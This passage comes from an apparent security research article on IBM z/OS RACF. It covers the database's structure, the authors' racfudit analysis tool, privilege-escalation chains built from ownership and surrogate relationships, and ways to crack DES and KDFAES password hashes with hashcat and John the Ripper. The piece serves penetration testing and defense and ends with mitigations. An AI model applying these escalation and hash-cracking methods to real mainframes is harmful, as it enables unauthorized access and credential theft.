user-requested operation. It is worth noting that while this paper focuses on the operating principle of RACF as the standard security package, other security packages like ACF2 or Top Secret can also be used in z/OS. Let’s consider an example of user authorization within the Time Sharing Option (TSO) subsystem, the z/OS equivalent of a command line interface. We use an x3270 terminal emulator to connect to the mainframe. After successful user authentication in z/OS, the TSO subsystem uses SAF to query the RACF security package, checking that the user has permission to access the TSO resource manager. The RACF service queries the database for user information, which is stored in a user profile. If the database contains a record of the required access permissions, the user is authorized, and information from the user profile is placed into the address space of the new TSO session within the ACEE (Accessor Environment Element) control block. For subsequent attempts to access other z/OS resources within that TSO session, RACF uses the information in ACEE to make the decision on granting user access. SAF reads data from ACEE and transmits it to the RACF service. RACF makes the decision to grant or deny access, based on information in the relevant profile of the requested resource stored in the database. This decision is then sent back to SAF, which processes the user request accordingly. The process of querying RACF repeats for any further attempts by the user to access other resources or execute commands within the TSO session. Thus, RACF handles identification, authentication, and authorization of users, as well as granting privileges within z/OS. RACF database components As discussed above, access decisions for resources within z/OS are made based on information stored in the RACF database. This data is kept in the form of records, or as RACF terminology puts it, profiles. These contain details about specific z/OS objects. While the RACF database can hold various profile types, four main types are especially important for security analysis: User profile holds user-specific information such as logins, password hashes, special attributes, and the groups the user belongs to. Group profile contains information about a group, including its members, owner, special attributes, list of subgroups, and the access permissions of group members for that group. Data set profile stores details about a data set, including access permissions, attributes, and auditing policy. General resource profile provides information about a resource or resource class, such as resource holders, their permissions regarding the resource, audit policy, and the resource owner. The RACF database contains numerous instances of these profiles. Together, they form a complex structure of relationships between objects and subjects within z/OS, which serves as the basis for access decisions. Logical structure of RACF database profiles Each profile is composed of one or more segments. Different profile types utilize different segment types. For example, a user profile instance may contain the following segments: BASE: core user information in RACF (mandatory segment); TSO: user TSO-session parameters; OMVS: user session parameters within the z/OS UNIX subsystem; KERB: data related to the z/OS Network Authentication Service, essential for Kerberos protocol operations; and others. Different segment types are distinguished by the set of fields they store. For instance, the BASE segment of a user profile contains the following fields: PASSWORD: the user’s password hash; PHRASE: the user’s password phrase hash; LOGIN: the user’s login; OWNER: the owner of the user profile; AUTHDATE: the date of the user profile creation in the RACF database; and others. The PASSWORD and PHRASE fields are particularly interesting for security analysis, and we will dive deeper into these later. RACF database structure It is worth noting that the RACF database is stored as a specialized data set with a specific format. Grasping this format is very helpful when analyzing the DB and mapping the relationships between z/OS objects and subjects. As discussed in our previous article, a data set is the mainframe equivalent of a file, composed of a series of blocks. The image above illustrates the RACF database structure, detailing the data blocks and their offsets. From the RACF DB analysis perspective, and when subsequently determining the relationships between z/OS objects and subjects, the most critical blocks include: The header block, or inventory control block (ICB), which contains various metadata and pointers to all other data blocks within the RACF database. By reading the ICB, you gain access to the rest of the data blocks. Index blocks, which form a singly linked list that contains pointers to all profiles and their segments in the RACF database – that is, to the information about all users, groups, data sets, and resources. Templates: a crucial data block containing templates for all profile types (user, group, data set, and general resource profiles). The templates list fields and specify their format for every possible segment type within the corresponding profile type. Upon dissecting the RACF database structure, we identified the need for a utility capable of extracting all relevant profile information from the DB, regardless of its version. This utility would also need to save the extracted data in a convenient format for offline analysis. Performing this type of analysis provides a comprehensive picture of the relationships between all objects and subjects for a specific z/OS installation, helping uncover potential security vulnerabilities that could lead to privilege escalation or lateral movement. Utilities for RACF DB analysis At the previous stage, we defined the following functional requirements for an RACF DB analysis utility: The ability to analyze RACF profiles offline without needing to run commands on the mainframe The ability to extract exhaustive information about RACF profiles stored in the DB Compatibility with various RACF DB versions Intuitive navigation of the extracted data and the option to present it in various formats: plaintext, JSON, SQL, etc. Overview of existing RACF DB analysis solutions We started by analyzing off-the-shelf tools and evaluating their potential for our specific needs: Racf2john extracts user password hashes (from the PASSWORD field) encrypted with the DES and KDFAES algorithms from the RACF database. While this was a decent starting point, we needed more than just the PASSWORD field; specifically, we also needed to retrieve content from other profile fields like PHRASE. Racf2sql takes an RACF DB dump as input and converts it into an SQLite database, which can then be queried with SQL. This is convenient, but the conversion process risks losing data critical for z/OS security assessment and identifying misconfigurations. Furthermore, the tool requires a database dump generated by the z/OS IRRDBU00 utility (part of the RACF security package) rather than the raw database itself. IRRXUTIL allows querying the RACF DB to extract information. It is also part of the RACF security package. It can be conveniently used with a set of scripts written in REXX (an interpreted language used in z/OS). However, these scripts demand elevated privileges (access to one or more IRR.RADMIN.** resources in the FACILITY resource class) and must be executed directly on the mainframe, which is unsuitable for the task at hand. Racf_debug_cleanup.c directly analyzes a RACF DB from a data set copy. A significant drawback is that it only parses BASE segments and outputs results in plaintext. As you can see, existing tools don’t satisfy our needs. Some utilities require direct execution on the mainframe. Others operate on a data set copy and extract incomplete information from the DB. Moreover, they rely on hardcoded offsets and signatures within profile segments, which can vary across RACF versions. Therefore, we decided to develop our own utility for RACF database analysis. Introducing racfudit We have written our own platform-independent utility racfudit in Golang and tested it across various z/OS versions (1.13, 2.02, and 3.1). Below, we delve into the operating principles, capabilities and advantages of our new tool. Extracting data from the RACF DB To analyze RACF DB information offline, we first needed a way to extract structured data. We developed a two-stage approach for this: The first stage involves analyzing the templates stored within the RACF DB. Each template describes a specific profile type, its constituent segments, and the fields within those segments, including their type and size. This allows us to obtain an up-to-date list of profile types, their segments, and associated fields, regardless of the RACF version. In the second stage, we traverse all index blocks to extract every profile with its content from the RACF DB. These collected profiles are then processed and parsed using the templates obtained in the first stage. The first stage is crucial because RACF DB profiles are stored as unstructured byte arrays. The templates are what define how each specific profile (byte array) is processed based on its type. Thus, we defined the following algorithm to extract structured data. We offload the RACF DB from the mainframe and read its header block (ICB) to determine the location of the templates. Based on the template for each profile type, we define an algorithm for structuring specific profile instances according to their type. We use the content of the header block to locate the index blocks, which store pointers to all profile instances. We read all profile instances and their segments sequentially from the list of index blocks. For each profile instance and its segments we read, we apply the processing algorithm based on the corresponding template. All processed profile instances are saved in an intermediate state, allowing for future storage in various formats, such as plaintext or SQLite. The advantage of this approach is its version independence. Even if templates and index blocks change their structure across RACF versions, our utility will not lose data because it dynamically determines the structure of each profile type based on the relevant template. Analyzing extracted RACF DB information Our racfudit utility can present collected RACF DB information as an SQLite database or a plaintext file. Using SQLite, you can execute SQL queries to identify misconfigurations in RACF that could be exploited for privilege escalation, lateral movement, bypassing access controls, or other pentesting tactics. It is worth noting that the set of SQL queries used for processing information in SQLite can be adapted to validate current RACF settings against security standards and best practices. Let’s look at some specific examples of how to use the racfudit utility to uncover security issues. Collecting password hashes One of the primary goals in penetration testing is to get a list of administrators and a way to authorize using their credentials. This can be useful for maintaining persistence on the mainframe, moving laterally to other mainframes, or even pivoting to servers running different operating systems. Administrators are typically found in the SYS1 group and its subgroups. The example below shows a query to retrieve hashes of passwords (PASSWORD) and password phrases (PHRASE) for privileged users in the SYS1 group. Of course, to log in to the system, you need to crack these hashes to recover the actual passwords. We cover that in more detail below. Searching for inadequate UACC control in data sets The universal access authority (UACC) defines the default access permissions to the data set. This parameter specifies the level of access for all users who do not have specific access permissions configured. Insufficient control over UACC values can pose a significant risk if elevated access permissions (UPDATE or higher) are set for data sets containing sensitive data or for APF libraries, which could allow privilege escalation. The query below helps identify data sets with default ALTER access permissions, which allow users to read, delete and modify the data set. The UACC field is not present only in data set profiles; it is also found in other profile types. Weak control in the configuration of this field can give a penetration tester access to resources. RACF profile relationships As mentioned earlier, various RACF entities have relationships. Some are explicitly defined; for example, a username might be listed in a group profile within its member field (USERID field). However, there are also implicit relationships. For instance, if a user group has UPDATE access to a specific data set, every member of that group implicitly has write access to that data set. This is a simple example of implicit relationships. Next, we delve into more complex and specific relationships within the RACF database that a penetration tester can exploit. RACF profile fields A deep dive into RACF internal architecture reveals that misconfigurations of access permissions and other attributes for various RACF entities can be difficult to detect and remediate in some scenarios. These seemingly minor errors can be critical, potentially leading to mainframe compromise. The explicit and implicit relationships within the RACF database collectively define the mainframe’s current security posture. As mentioned, each profile type in the RACF database has a unique set of fields and attributes that describe how profiles relate to one another. Based on these fields and attributes, we have compiled lists of key fields that help build and analyze relationship chains. SPECIAL: indicates that the user has privileges to execute any RACF command and grants them full control over all profiles in the RACF database. OPERATIONS: indicates whether the user has authorized access to all RACF-protected resources of the DATASET, DASDVOL, GDASDVOL, PSFMPL, TAPEVOL, VMBATCH, VMCMD, VMMDISK, VMNODE, and VMRDR classes. While actions for users with this field specified are subject to certain restrictions, in a penetration testing context the OPERATIONS field often indicates full data set access. AUDITOR: indicates whether the user has permission to access audit information. AUTHOR: the creator of the user. It has certain privileges over the user, such as the ability to change their password. REVOKE: indicates whether the user can log in to the system. Password TYPE: specifies the hash type (DES or KDFAES) for passwords and password phrases. This field is not natively present in the user profile, but it can be created based on how different passwords and password phrases are stored. Group-SPECIAL: indicates whether the user has full control over all profiles within the scope defined by the group or groups field. This is a particularly interesting field that we explore in more detail below. Group-OPERATIONS: indicates whether the user has authorized access to all RACF-protected resources of the DATASET, DASDVOL, GDASDVOL, PSFMPL, TAPEVOL, VMBATCH, VMCMD, VMMDISK, VMNODE and VMRDR classes within the scope defined by the group or groups field. Group-AUDITOR: indicates whether the user has permission to access audit information within the scope defined by the group or groups field. CLAUTH (class authority): allows the user to create profiles within the specified class or classes. This field enables delegation of management privileges for individual classes. GROUPIDS: contains a list of groups the user belongs to. UACC (universal access authority): defines the UACC value for new profiles created by the user. Group profile fields UACC (universal access authority): defines the UACC value for new profiles that the user creates when connected to the group. OWNER: the creator of the group. The owner has specific privileges in relation to the current group and its subgroups. USERIDS: the list of users within the group. The order is essential. USERACS: the list of group members with their respective permissions for access to the group. The order is essential. SUPGROUP: the name of the superior group. General resource and data set profile fields UACC (universal access authority): defines the default access permissions to the resource or data set. OWNER: the creator of the resource or data set, who holds certain privileges over it. WARNING: indicates whether the resource or data set is in WARNING mode. USERIDS: the list of user IDs associated with the resource or data set. The order is essential. USERACS: the list of users with access permissions to the resource or data set. The order is essential. RACF profile relationship chains The fields listed above demonstrate the presence of relationships between RACF profiles. We have decided to name these relationships similarly to those used in BloodHound, a popular tool for analyzing Active Directory misconfigurations. Below are some examples of these relationships – the list is not exhaustive. Owner: the subject owns the object. MemberOf: the subject is part of the object. AllowJoin: the subject has permission to add itself to the object. AllowConnect: the subject has permission to add another object to the specified object. AllowCreate: the subject has permission to create an instance of the object. AllowAlter: the subject has the ALTER privilege for the object. AllowUpdate: the subject has the UPDATE privilege for the object. AllowRead: the subject has the READ privilege for the object. CLAuthTo: the subject has permission to create instances of the object as defined in the CLAUTH field. GroupSpecial: the subject has full control over all profiles within the object’s scope of influence as defined in the group-SPECIAL field. GroupOperations: the subject has permissions to perform certain operations with the object as defined in the group-OPERATIONS field. ImpersonateTo: the subject grants the object the privilege to perform certain operations on the subject’s behalf. ResetPassword: the subject grants another object the privilege to reset the password or password phrase of the specified object. UnixAdmin: the subject grants superuser privileges to the object in z/OS UNIX. SetAPF: the subject grants another object the privilege to set the APF flag on the specified object. These relationships serve as edges when constructing a graph of subject–object interconnections. Below are examples of potential relationships between specific profile types. Visualizing and analyzing these relationships helped us identify specific chains that describe potential RACF security issues, such as a path from a low-privileged user to a highly-privileged one. Before we delve into examples of these chains, let’s consider another interesting and peculiar feature of the relationships between RACF database entities. Implicit RACF profile relationships We have observed a fascinating characteristic of the group-SPECIAL, group-OPERATIONS, and group-AUDITOR fields within a user profile. If the user has any group specified in one of these fields, that group’s scope of influence extends the user’s own scope. For instance, consider USER1 with GROUP1 specified in the group-SPECIAL field. If GROUP1 owns GROUP2, and GROUP2 subsequently owns USER5, then USER1 gains privileges over USER5. This is not just about data access; USER1 essentially becomes the owner of USER5. A unique aspect of z/OS is that this level of access allows USER1 to, for example, change USER5’s password, even if USER5 holds privileged attributes like SPECIAL, OPERATIONS, ROAUDIT, AUDITOR, or PROTECTED. Below is an SQL query, generated using the racfudit utility, that identifies all users and groups where the specified user possesses special attributes: Here is a query to find users whose owners (AUTHOR) are not the standard default administrators: Let’s illustrate how user privileges can be escalated through these implicit profile relationships. In this scenario, the user TESTUSR has the group-SPECIAL field set to PASSADM. This group, PASSADM, owns the OPERATOR user. This means TESTUSR’s scope of influence expands to include PASSADM’s scope, thereby granting TESTUSR control over OPERATOR. Consequently, if TESTUSR’s credentials are compromised, the attacker gains access to the OPERATOR user. The OPERATOR user, in turn, has READ access to the IRR.PASSWORD.RESET resource, which allows them to assign a password to any user who does not possess privileged permissions. Having elevated privileges in z/OS UNIX is often sufficient for compromising the mainframe. These can be acquired through several methods: Grant the user READ access to the BPX.SUPERUSER resource of the FACILITY class. Grant the user READ access to UNIXPRIV.SUPERUSER.* resources of the UNIXPRIV class. Set the UID field to 0 in the OMVS segment of the user profile. For example, the DFSOPER user has READ access to the BPX.SUPERUSER resource, making them privileged in z/OS UNIX and, by extension, across the entire mainframe. However, DFSOPER does not have the explicit privileged fields SPECIAL, OPERATIONS, AUDITOR, ROAUDIT and PROTECTED set, meaning the OPERATOR user can change DFSOPER’s password. This allows us to define the following sequence of actions to achieve high privileges on the mainframe: Obtain and use TESTUSR’s credentials to log in. Change OPERATOR’s password and log in with those credentials. Change DFSOPER’s password and log in with those credentials. Access the z/OS UNIX Shell with elevated privileges. We uncovered another implicit RACF profile relationship that enables user privilege escalation. In another example, the TESTUSR user has READ access to the OPERSMS.SUBMIT resource of the SURROGAT class. This implies that TESTUSR can create a task under the identity of OPERSMS using the ImpersonateTo relationship. OPERSMS is a member of the HFSADMIN group, which has READ access to the TESTAUTH resource of the TSOAUTH class. This resource indicates whether the user can run an application or library as APF-authorized – this requires only READ access. Therefore, if APF access is misconfigured, the OPERSMS user can escalate their current privileges to the highest possible level. This outlines a path from the low-privileged TESTUSR to obtaining maximum privileges on the mainframe. At this stage, the racfudit utility allows identifying these connections only manually through a series of SQLite database queries. However, we are planning to add support for another output format, including Neo4j DBMS integration, to automatically visualize the interconnected chains described above. Password hashes in RACF To escalate privileges and gain mainframe access, we need the credentials of privileged users. We previously used our utility to extract their password hashes. Now, let’s dive into the password policy principles in z/OS and outline methods for recovering passwords from these collected hashes. The primary password authentication methods in z/OS, based on RACF, are PASSWORD and PASSPHRASE. PASSWORD is a password composed by default of ASCII characters: uppercase English letters, numbers, and special characters (@#$). Its length is limited to 8 characters. PASSPHRASE, or a password phrase, has a more complex policy, allowing 14 to 100 ASCII characters, including lowercase or uppercase English letters, numbers, and an extended set of special characters (@#$&*{}[]()=,.;’+/). Hashes for both PASSWORD and PASSPHRASE are stored in the user profile within the BASE segment, in the PASSWORD and PHRASE fields, respectively. Two algorithms are used to derive their values: DES and KDFAES. It is worth noting that we use the terms “password hash” and “password phrase hash” for clarity. When using the DES and KDFAES algorithms, user credentials are stored in the RACF database as encrypted text, not as a hash sum in its classical sense. Nevertheless, we will continue to use “password hash” and “password phrase hash” as is customary in IBM documentation. Let’s discuss the operating principles and characteristics of the DES and KDFAES algorithms in more detail. DES When the DES algorithm is used, the computation of PASSWORD and PHRASE values stored in the RACF database involves classic DES encryption. Here, the plaintext data block is the username (padded to 8 characters if shorter), and the key is the password (also padded to 8 characters if shorter). PASSWORD The username is encrypted with the password as the key via the DES algorithm, and the 8-byte result is placed in the user profile’s PASSWORD field. Keep in mind that both the username and password are encoded with EBCDIC. For instance, the username USR1 would look like this in EBCDIC: e4e2d9f140404040. The byte 0x40 serves as padding for the plaintext to reach 8 bytes. This password can be recovered quite fast, given the small keyspace and low computational complexity of DES. For example, a brute-force attack powered by a cluster of NVIDIA 4090 GPUs takes less than five minutes. The hashcat tool includes a module (Hash-type 8500) for cracking RACF passwords with the DES algorithm. PASSPHRASE PASSPHRASE encryption is a bit more complex, and a detailed description of its algorithm is not readily available. However, our research uncovered certain interesting characteristics. First, the final hash length in the PHRASE field matches the original password phrase length. Essentially, the encrypted data output from DES gets truncated to the input plaintext length without padding. This design can clearly lead to collisions and incorrect authentication under certain conditions. For instance, if the original password phrase is 17 bytes long, it will be encrypted in three blocks, with the last block padded with seven bytes. These padded bytes are then truncated after encryption. In this scenario, any password whose first 17 encrypted bytes match the encrypted PASSPHRASE would be considered valid. The second interesting feature is that the PHRASE field value is also computed using the DES algorithm, but it employs a proprietary block chaining mode. We will informally refer to this as IBM-custom mode. Given these limitations, we can use the hashcat module for RACF DES to recover the first 8 characters of a password phrase from the first block of encrypted data in the PHRASE field. In some practical scenarios, recovering the beginning of a password phrase allowed us to guess the remainder, especially when weak dictionary passwords were used. For example, if we recovered Admin123 (8 characters) while cracking a 15-byte PASSPHRASE hash, then it is plausible the full password phrase was Admin1234567890. KDFAES Computing passwords and password phrases generated with the KDFAES algorithm is significantly more challenging than with DES. KDFAES is a proprietary IBM algorithm that leverages AES encryption. The encryption key is generated from the password using the PBKDF2 function with a specific number of hashing iterations. PASSWORD The diagram below outlines the multi-stage KDFAES PASSWORD encryption algorithm. The first stage mirrors the DES-based PASSWORD computation algorithm. Here, the plaintext username is encrypted using the DES algorithm with the password as the key. The username is also encoded in EBCDIC and padded if it’s shorter than 8 bytes. The resulting 8-byte output serves as the key for the second stage: hashing. This stage employs a proprietary IBM algorithm built upon PBKDF2-SHA256-HMAC. A randomly generated 16-byte string (salt) is fed into this algorithm along with the 8-byte key from the first stage. This data is then iteratively hashed using PBKDF2-SHA256-HMAC. The number of iterations is determined by two parameters set in RACF: the memory factor and the repetition factor. The output of the second stage is a 32-byte hash, which is then used as the key for AES encryption of the username in the third stage. The final output is 16 bytes of encrypted data. The first 8 bytes are appended to the end of the PWDX field in the user profile BASE segment, while the other 8 bytes are placed in the PASSWORD field within the same segment. The PWDX field in the BASE segment has the following structure: You can use the dedicated module in the John the Ripper utility for offline password cracking. While an IBM KDFAES module for an older version of hashcat exists publicly, it was never integrated into the main branch. Therefore, we developed our own RACF KDFAES module compatible with the current hashcat version. The time required to crack an RACF KDFAES hash has significantly increased compared to RACF DES, largely due to the integration of PBKDF2. For instance, if the memory factor and repetition factor are set to 0x08 and 0x32 respectively, the hashing stage can reach 40,000 iterations. This can extend the password cracking time to several months or even years. PASSPHRASE Encrypting a password phrase hash with KDFAES shares many similarities with encrypting a password hash. According to public sources, the primary difference lies in the key used during the second stage. For passwords, data derived from DES-encrypting the username was used, while for a password phrase, its SHA256 hash is used. During our analysis, we could not determine the exact password phrase hashing process – specifically, whether padding is involved, if a secret key is used, and so on. Additionally, when using a password phrase, the PHRASE and PHRASEX fields instead of PASSWORD and PWDX, respectively, store the final hash, with the PHRASEX value having a similar structure. Conclusion In this article, we have explored the internal workings of the RACF security package, developed an approach to extracting information, and presented our own tool developed for the purpose. We also outlined several potential misconfigurations that could lead to mainframe compromise and described methods for detecting them. Furthermore, we examined the algorithms used for storing user credentials (passwords and password phrases) and highlighted their strengths and weaknesses. We hope that the information presented in this article helps mainframe owners better understand and assess the potential risks associated with incorrect RACF security suite configurations and take appropriate mitigation steps. Transitioning to the KDFAES algorithm and password phrases, controlling UACC values, verifying access to APF libraries, regularly tracking user relationship chains, and other steps mentioned in the article can significantly enhance your infrastructure security posture with minimal effort. In conclusion, it is worth noting that only a small percentage of the RACF database structure has been thoroughly studied. Comprehensive research would involve uncovering additional relationships between database entities, further investigating privileges and their capabilities, and developing tools to exploit excessive privileges. The topic of password recovery is also not fully covered because the encryption algorithms have not been fully studied. IBM z/OS mainframe researchers have immense opportunities for analysis. As for us, we will continue to shed light on the obscure, unexplored aspects of these devices, to help prevent potential vulnerabilities in mainframe infrastructure and associated security incidents.
securelist.comJul 8, 2025extracted